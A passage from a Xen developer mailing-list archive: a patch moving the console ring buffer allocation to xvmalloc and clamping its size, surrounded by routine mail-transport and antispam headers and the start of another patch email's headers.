	N89ffhdYOUJ7rbtARn2NIA7nR+C8pqWl/79w=; b=fHXFFN3X49mECLVaa17mKUh
	rV/yo6yoOHUkhEqgP+CciYd0vxa9jbImOwpKQe9m91cF81VokGZrEIu/4+XP3lRS
	BxasAYoDruikx3NBVpkxZH8WPYCC00cJStQJGhjnC18sJBjxYKO8Atv3OJ9ATmoG
	Be0NaoJsfR7qCdiFmHtHWMbJyPaX89iwidypGGNVbLTfDabXeteRfFzwjIfRMF7b
	3OlH46ov5aTCYYe4cROyFg48KfZjP4LxrKwK2C4lIgt9PI+Geq+q/1N7UJoI5kDZ
	jOcclyhZPnITJZ4vT76LZKNbqIQGfl4WWcXZ/OVD3xMe1XHOHfSyZrsYP0LFsNg=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: obeqwBlw1JrM7oberw9CFy
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v8 3/7] xen/console: switch conring runtime allocation to xvmalloc
Date: Mon, 27 Jul 2026 23:50:45 -0700
Message-ID: <20260728065049.1318143-4-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260728065049.1318143-1-dmukhin@ford.com>
References: <20260728065049.1318143-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 adultscore=0
 phishscore=0 lowpriorityscore=0 spamscore=0 bulkscore=0 suspectscore=0
 malwarescore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607280060
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ5PEPF000001CD:EE_|SJ0PR16MB5219:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: 7e22a9eb-b8ac-4121-6365-08deec74a3ea
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|1800799024|36860700016|23010399003|376014|6133799003|11063799006|56012099006|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	ZH6XC4nO/ZwLUBU31xoXYAm5oXEFAOOwIa8vZY1L0PHGcEHW8s0I0zhhXaYAozQ1US2tuD/nUCKaLzAkJ+K3mwvzVDk19nIx8X504EzU6xNFenN4oIiVNJ72ImofxutbxshLVOJ3WOrpMyIuQT7gVWuV2b3wV23F9vZJQK8VH2AQLD20lktNB0bhdy3OqNj6D7K96HrbGI/CcYtgy2ciseu3+jXjYNvcx0CtA+KIthnCYxvCCMAbYrcU5LXw/wbtDB3LHkM4h85AtST6Hbz4CjhKoUz3vX6wrw4kNfSg2y5b24ON71mEI+1TZCmCl6x7tdx/kICrAcPMY3aTL8fzQJGzzc+Y07Pv4tjzS3xr9UAMNhDbw8Uf77Il5fBtk8zWZH4tNupsGDEX3/+kDpjK6/TMbGBgGSTGJ9ssZKNIGccQGXTTo2XM1c7lO0PfJ3ake1jpQV/q8Wb1ev0xr0gyKuC+z8WLmYJKP5YCGDfqpbt1BmvC7rpEmesEXi34zhKfkd1Ovn7Q4K9qh+11slBeJvoez5crd/9/4BXUMygGuf4GDT1LcTqWyxm5OfFSDBVy5WVcp5K0g2aiIPAuxf/cCbqRbTgcDLM5MmomXaVmlKCEXsu1sRLlXa7DovW2caqJfDCxyrS5nuCL6DfeSWrvwX70XWo31bYol8cKwyCJ7wcp21IONWHe39rEHCn8nrcgAFgCPe+QsK6AQtgU345JtQ==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(82310400026)(1800799024)(36860700016)(23010399003)(376014)(6133799003)(11063799006)(56012099006)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	LIUiDQLYVx9jOQW++muPVF7CpZ4luKGpJpwst2lvtJaKLoRmNjUe+0UT1K93Tud+x+Owrjy5DFaVOcv6ibF7ujjXkjXyxEt4FwEsBZInSeIH12QSWv6on2AwscMwtQ8GJlLFnA/4H0siOsKUdPbDnIlcSfk0q7AtykLZ61tfgO8DqWYrx/3IwaBZoeeQLoOR2jnLW8qp5L6XkoXmj9nzWj1CFSedBi+ZifXag5kxnGe4uKgweUXuf42A9R9IlbzB2bChJPvRbG0ksFO+7Dw+bdzibaPDawaJ8FP56KDlabOGfQpMLaDi9Q9UtKzaJu0hN2jHCEH6SlQb/3AXbbuHxoJoi15e8HD9bzjdYdRyFvOp5g8T3/1ItbOoxalXvujUkBPR3Tc/PP265BJDYsfm66PY8CaFdkx+F5v1L9aU+al7uxvwevAzorGiUIvcBJiQ
X-Exchange-RoutingPolicyChecked:
	r6zpqaXwdjI8XRUo1P8U76nJQE4WPA8kD2IZJNurfuP0H1Sjrf6x4HOdmkmeTP6tgv3GbLwIIvutlevkZKDDcvsy359s8cXQbTZYWS4TF86pr69V/5ST3tX9+YklxNHP8kizXYYSWwUvtbx4LYjfUVGY3fSzLcayw+IMomwTrna4EZBaztqImG8Jq2bdQhyQgyyi5lNPcm7nQtSAhKsQJlbgGjbAPL4t/iTKBuZtopiW86wnKx5ODAOpqKWqyUSEIkRm8MrUko7fQgkZCN83dC8JvsiH+Q/1pWQDg03Kve3tgyw2vCYxPVpefcN1NleuPG9eM4VUvYndDc+tJ0/scQ==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	Af35D4+3+4eJqRnfpPxnmoDxfdPzNBCmbbsRECmkQTc/icH+y75XQSIaDySH5EpL+9heMYtGvQoFzFGueTLmlid2r8ErN1Qdgs24XQs+kOxKnQ21T87JScR8AzMyL3xwX5BRMTZ2aPLE8fG/FF1ZZQ7ZYbUJ2seO9nY2hMaTofqYGZcgo74XXTWG5gM6vRQCeeCJYGj1hdtxQno/Un1REyyf5Qgiz/qIUWOoSdHeXmu3R4Vh6dT+VbF5sMoGYElYyFDutdHkjZzBaccIVaYmRjRQqImapTYk1lomcrA/SWQz6ZQwnxWpd9BHFs86Y+X/ADM3saJc0GMOizxFAYNbT0b70a61ke+H8mRT1ShxhootdVUxIPTaLWYeGHqhRs9+1tO4vRNqcyFzUg2OAnx/okhqRqrA9ivZZDXAJNmNpYjH4buukD8kLsQisQn/FsydK/hMKUhzvFBakfYPAKkr+Oe5S4tBgQxWgGNxkCBIS7OmYP0jmWN3+lrPrrPYpOkcs/jKLvmp9U18Qhm1TvZ3t1wX+2Y+goZ1caPld8mlI3qIIpbfWlqLOKW7I29nuPrkJVGL2rAGCKffj8360xXI57fMiFTXtDIW25BuIckUw/SSIWblP0I/6eu2bb3sxecctl8ZXsPL3EOGikyaE4I0pg==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 06:51:24.0781
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 7e22a9eb-b8ac-4121-6365-08deec74a3ea
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ5PEPF000001CD.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR16MB5219
X-Proofpoint-GUID: k3QiRU6-9Tt88IFoyATP-xh5e_xjtrW9
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfX3AGFObKjleDs
 9J5nzWeYq7SigSPey2P3NBPB26QkA29vGwen+mhv4jPK7V7mqs6KF7aUD8S4DK94nnwvC0K07Ra
 BkhU+/JkTXBeEHG75gInYkWSr5IcCj9q7c5qiox90RA3OuwI4K5g
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfX/vKQecxI2jGH
 rJ4ZACD1Gt6xeVe10Cb+D/fz2dWAhbYodYkaTQzRM0wPSS0/WFDUcSXp2ai7F0IppxkbtmwKGd5
 wFgy8gnaMhXDSyohiv0IH5/OIdL7S62zYmIrvCv+Fej87Fqa6qnL0urmjB4xniRADkhsFgWKZXJ
 72V6u67WfVCP4o8KWl8X64mPmUSYcY2mZn/Th2P99G/NOdAlfw/Uq+ZhoRPH1lGCkpBZOVLp5eI
 GCjZxE17rKIrQv6FLbrI1rAcQq7rmLuhxxsyFecx1+DXuqaNo9lJAdIAQF3PCO3474gBGnGD1+W
 StxRspHUxkwztHpGsk4DzdrUNO2OZUdKFlZl7WfCnkHE+pNVnDtZ13OY2xEDwI8DOFyAv9DyXh1
 CRPyhaTxCg0hZS+TFoDGvm7qj7g8L0rbZHrc1F8DkAbDf3mjb9+j0xCYhU6nSHk5VhvVin3a5cM
 eKmWR81djSWhvVvYrKQ==
X-Proofpoint-ORIG-GUID: k3QiRU6-9Tt88IFoyATP-xh5e_xjtrW9
X-Authority-Analysis: v=2.4 cv=JPILdcKb c=1 sm=1 tr=0 ts=6a685170 cx=c_pps
 a=+HTpKnCyMzx6Y2VIV8u7NA==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=N9_n2FxmZfwfyRXvS9-E:22 a=VwQbUJbxAAAA:8
 a=iox4zFpeAAAA:8 a=cbNQJ9GKAAAA:8 a=tHz9FfFoAAAA:8 a=rFyfnguHhtC7fIK2BTEA:9
 a=DqJYxgmhk6moR-_7_KoZ:22 a=WzC6qhA0u3u7Ye7llzcV:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 impostorscore=0
 malwarescore=0 lowpriorityscore=0 spamscore=0 suspectscore=0 clxscore=1015
 phishscore=0 bulkscore=0 adultscore=0 priorityscore=1501
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607280060
X-purgate-ID: tlsNG-d62444/1785221490-BEA66757-A7E08999/0/0
X-purgate-type: clean
X-purgate-size: 2717

From: Denis Mukhin <dmukhin@ford.com> 

The console ring only needs to be virtually contiguous; it does not need
a naturally aligned or physically contiguous allocation. Replace the
runtime xenheap allocation in console_init_ring() with an xvmalloc-backed
buffer.

Also clamp the user-configured ring size to the supported range and emit
warning when the requested size is adjusted.

Drop full stops in all diagnostic messages in console_init_ring() to align
code with the common code pattern.

Suggested-by: Andrew Cooper <andrew.cooper3@citrix.com>
Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v7:
- Jan's feedback from
  https://lore.kernel.org/xen-devel/0fefa50c-46aa-4ede-a8e2-8c2c619bc2ab@suse.com/
---
 xen/drivers/char/console.c | 27 +++++++++++++++++++--------
 1 file changed, 19 insertions(+), 8 deletions(-)

diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index 40355c1d14d6..09282a7a4f8e 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -33,6 +33,7 @@
 #include <asm/setup.h>
 #include <xen/sections.h>
 #include <xen/consoled.h>
+#include <xen/xvmalloc.h>
 
 #ifdef CONFIG_X86
 #include <asm/guest.h>
@@ -464,20 +465,30 @@ void __init console_init_ring(void)
 {
     char *ring;
     unsigned int done, size, n;
-    unsigned int order, memflags;
     unsigned long flags;
 
     if ( !opt_conring_size )
         return;
 
-    order = get_order_from_bytes(max(opt_conring_size, conring_size));
-    memflags = MEMF_bits(crashinfo_maxaddr_bits);
-    while ( (ring = alloc_xenheap_pages(order, memflags)) == NULL )
+    if ( opt_conring_size < GB(2) )
     {
-        BUG_ON(order == 0);
-        order--;
+        unsigned int order = get_order_from_bytes(max(opt_conring_size,
+                                                      conring_size));
+
+        opt_conring_size = PAGE_SIZE << order;
+    }
+    else
+    {
+        printk(XENLOG_WARNING
+               "Limiting user-configured console ring size to 2 GiB\n");
+        opt_conring_size = GB(2);
+    }
+
+    while ( (ring = xvmalloc_array(char, opt_conring_size)) == NULL )
+    {
+        BUG_ON(opt_conring_size == 0);
+        opt_conring_size >>= 1;
     }
-    opt_conring_size = PAGE_SIZE << order;
 
     nrspin_lock_irqsave(&console_lock, flags);
 
@@ -498,7 +509,7 @@ void __init console_init_ring(void)
     conring_size = opt_conring_size;
     nrspin_unlock_irqrestore(&console_lock, flags);
 
-    printk("Allocated console ring of %u KiB.\n", opt_conring_size >> 10);
+    printk("Allocated console ring of %u KiB\n", opt_conring_size >> 10);
 }
 
 /*
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 06:51:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 06:51:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372098.1619502 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobf0-0002Hi-CB; Tue, 28 Jul 2026 06:51:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372098.1619502; Tue, 28 Jul 2026 06:51:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobf0-0002HS-6I; Tue, 28 Jul 2026 06:51:30 +0000
Received: by outflank-mailman (input) for mailman id 1372098;
 Tue, 28 Jul 2026 06:51:26 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wobew-00021t-KU
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 06:51:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wobev-00DfL2-MH
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:51:25 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a685162-2eae-0a2a0a5409dd-0a2a4509bbda-40
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:25 +0200
Received: from [148.163.143.241] (helo=mx0b-00498f03.pphosted.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a68516c-be1a-0a2a45090019-94a38ff184f8-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:25 +0200
Received: from pps.filterd (m0367130.ppops.net [127.0.0.1])
 by mx0b-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S3Zwtp440800
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:24 GMT
Received: from cy7pr03cu001.outbound.protection.outlook.com
 (mail-westcentralusazon11010029.outbound.protection.outlook.com
 [40.93.198.29])
 by mx0b-00498f03.pphosted.com (PPS) with ESMTPS id 4fpj0ust5b-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:23 +0000 (GMT)
Received: from MN2PR20CA0048.namprd20.prod.outlook.com (2603:10b6:208:235::17)
 by DM8PR16MB4374.namprd16.prod.outlook.com (2603:10b6:8:31::16) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Tue, 28 Jul
 2026 06:51:21 +0000
Received: from BL6PEPF00022572.namprd02.prod.outlook.com
 (2603:10b6:208:235:cafe::3b) by MN2PR20CA0048.outlook.office365.com
 (2603:10b6:208:235::17) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.13 via Frontend Transport; Tue,
 28 Jul 2026 06:51:20 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 BL6PEPF00022572.mail.protection.outlook.com (10.167.249.40) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Tue, 28 Jul 2026 06:51:20 +0000
Received: from pps.filterd (m0373461.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S3bFCN2911160
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:20 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [3.215.31.156])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fnbs72m2y-13
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:19 -0400 (EDT)
Received: from localhost ([19.12.76.221]) by cmsmtp with ESMTPSA
 id obenwuIZHERZKobeowQiAU; Tue, 28 Jul 2026 06:51:19 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=dqT
	Ghvqpn8gpXb6wAeWGBbJTJoEs7CcCTQTy9ycj/Xk=; b=d16GCcHLGQnHCURhynE
	m4n7CR4eIwK/XpgELG4B6sITJajPnCL99LGEyuiSIOAOA8x8IhCRWIjsxmA3cvCs
	ShHUBnrVCmdIwCjvrFe51Ro6gO3/jE5QiU76hG+z7L+75JCzzsMX4AszPqSl8l1F
	ORlybkYRBoy4svfHY9FeX4uac+H2hoxKBlsTE2QXnDQLjtRBcN4jPJw/Kmw2yxpt
	1clTAO6NG24pKaPWjdc+pWv2B2oenctnN1mrdhu5MI8PE0HoU2PkLrPmrJXhBtSr
	cF84uXYRA6FxRZqApsDSiV7zFluXb+w53YDfmdas+ieIHnoKt/NajA2lS0LUNpG1
	bPg==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=GIXki+GaGFDt0u9thydg6Pso+qE3lMD9pQH16JOvWqS/xNsxNxShRG1kt7XITxc6JzAZcVfu3Pl4EXOAvd/2gPTuSG1J5euw0HBEVzHXiR5/Bv3UB4OHBvRIfC0tsY9+GX9772f+SSs5ciKdyE4kSbTktllf9P3RxJYypGxqiMHPBD5jOfz/ROk8UtypziZKEbQTMTNChQuDNXE8lGvIcDNXtWch6BSoOWr4uNwQ932BpjVM8kbP36vtTp7g4Zj4FwfHR/oBEAMvbeucGLfRupJbm03mJnjTeAf4m+Q1XDnkCeWidhOrPTKssN+KlJ/R5Fo/cuU9CfuTQg68/s98OQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=dqTGhvqpn8gpXb6wAeWGBbJTJoEs7CcCTQTy9ycj/Xk=;
 b=b4MExBu7hDXaDH8Ar4s1yrJl95KWqqj+y37aqj+xM903MzEyM10AD1NfvTLhmQoZq4Q/34924mum7xh8Z8j9lvWYwwSzqWLekvUpOTcW/FaRRD5qsEydwOPyxFosF7w9Z6WJX22Fkx+uIa8VqLQ2QRzXp0KJvWan7rvzRIGwFQAMoXNYE/uMi9AzUK/aGQD4M15YwMufYKF3ItTjU5NSJxBiXex64mUyPUu+9WC6H2D31rHJ4kUEuerUiyF+6IKLrcz1v3ATD2HlmTxWu+iYUnIbpK/KSGneCZ3em2A4W1sMq4vrNtzBRD7maQwufVNoX6voIMvlZrqtOmzK2GB/mw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=dqTGhvqpn8gpXb6wAeWGBbJTJoEs7CcCTQTy9ycj/Xk=;
 b=BbUIRbT2E/fP/f3mfq1hQ3F+KsrMpCaK3kvc4bT5t245hu3oAhRA22Ku4j2QRontLLFPxn56QBUKOZ/LQxjp+0u5s1IkAAj+akbcscg0JaL8ZBmV4MdT/L210gWpU9jdeznKEVPrAVlitqba6JI5Znp6glphoUWdn6InMF2lGoA=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=dqTGhvqpn8gpXb6wAeWGBbJTJoEs7CcCTQTy9ycj/Xk=; b=
	fKRNSO23qrbBOh3os97CCgj/o1UORIKeFIdkJDMkl75sid4J5DpKdVbgQPYc7m34
	2lii5LXgIFMjwhPy0Vzw14grXKKLD0LFnCLfqWeNLttBWCMRNiPaxxFp9iteVJ4d
	ELLDw8BB3fVERSSsEyAI4ITUsuso17XByYQDFDu8fRWYK/E1IHv519LCN3KlMoji
	8xN+UqFeoAS8LLbLSLjs5kYtpEaCbqr+MIbJvG97B5mbEgCedmMsELhkdPzym1KQ
	NpbVhVLXeNBJPho3dcU8KAckK+gTv4D4jhEwdUZJyw11zjTM1LSixnEgJxE1wRnt
	RdHaA12+CqTJNy3pd/1zvw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=dqTGhvq
	pn8gpXb6wAeWGBbJTJoEs7CcCTQTy9ycj/Xk=; b=j1muFgD+vcQLqDFNga4f85L
	uZ9M6KvhqFCcXG3Rgg9M75qVAABYbFdUsZwYR9IqOrHILV7FDG9xpZjkTZcVVrzQ
	52Mu6mbGORRxaY9qNjaMhjTEkeh3xvfbrlbhKA8MzeJXBDKJ7v8hE+pG5JSMYMcT
	Ym5du7gxV1ilfh2fL26AtJ7fTpnwqqnyK3hb3piOnUjL2i45V7Did0GdP9nWTubB
	vkuVLLGcxeroIf/09nK33SOezX7xG0Kl2zVhVSIw8lJzCdZxL6xFVToudSp62U51
	BudcLkAOHj87k5pm7MVRAtwFSbg9uIIJsOrcR9fswkWsDZYPkSEJFys1eT3/T8g=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: obenwuIZHERZKobeowQiAU
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v8 2/7] xen/console: use 'unsigned int' in contring_{flush,puts}()
Date: Mon, 27 Jul 2026 23:50:44 -0700
Message-ID: <20260728065049.1318143-3-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260728065049.1318143-1-dmukhin@ford.com>
References: <20260728065049.1318143-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 malwarescore=0
 bulkscore=0 suspectscore=0 lowpriorityscore=0 adultscore=0 phishscore=0
 spamscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607280060
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BL6PEPF00022572:EE_|DM8PR16MB4374:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: ecebe3ac-81fd-46dc-6364-08deec74a196
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|82310400026|36860700016|23010399003|1800799024|18002099003|22082099003|56012099006|11063799006|10067099003;
X-Microsoft-Antispam-Message-Info:
	EsG5KxGfcCJUEjvUwVHhoGc/lATzIwZjHYFw1j4MkDxcV0mrR5q2/D6uD3J2xV6FqVNSAOAMsH7qlAybbNNWlpm3fLNRGuZ7VTUl57jkdzq293cSDy2y5i1iWuyTiTPmOrHwdlg/3EMyVOgZuzjBewEsrFvrDrRPwmnr3icvaXfdQhuXENNWAiHuRdS9+K26tvvJA0eYjPxyqWVoXHxyVyF4QckLyGp//nwdtqHWKvfCftW7Vfbdl1K6g/OYF/Uu3n3tLft11hkvhk5zck3rJdMDdhmCr2pFWZOXqkCHKml9zpni4mzMo1RfOk7GFyolKT4m4jCzlke5B/aXYKFVJ7BzwPYlwhP0/IHhaTdWGfIXmdr1k6r6XobX950BNtnzjGHjkkfsDsed2k9bW38r76JzJ557y6BxG/E4RT4hbgjcd+WbK7ymAvmrajVP8NgSD0o07JN+Al/vW0Ofvqq6q4Gg72VCvao9BjUFKA1gNDpXhAJr2UtEDVS/mAv5srZMIDGTj0Wa5o0qfTfPTmUc4kHGddM8xub3AmUg5S08gXsRxumS3EkxXgluTusXMksNTpEum/H5duv3x4PDt2joI2SUNHKFp7HjMBmUoHQqmLUkYLaT0F1vIc/skQdhWI3O8M8GTlwiXJyHb0RSpoJykcTyiYfiS6ldmDPZAIB/QudCNpZURPAcHinUb4vmsqAQO08f6l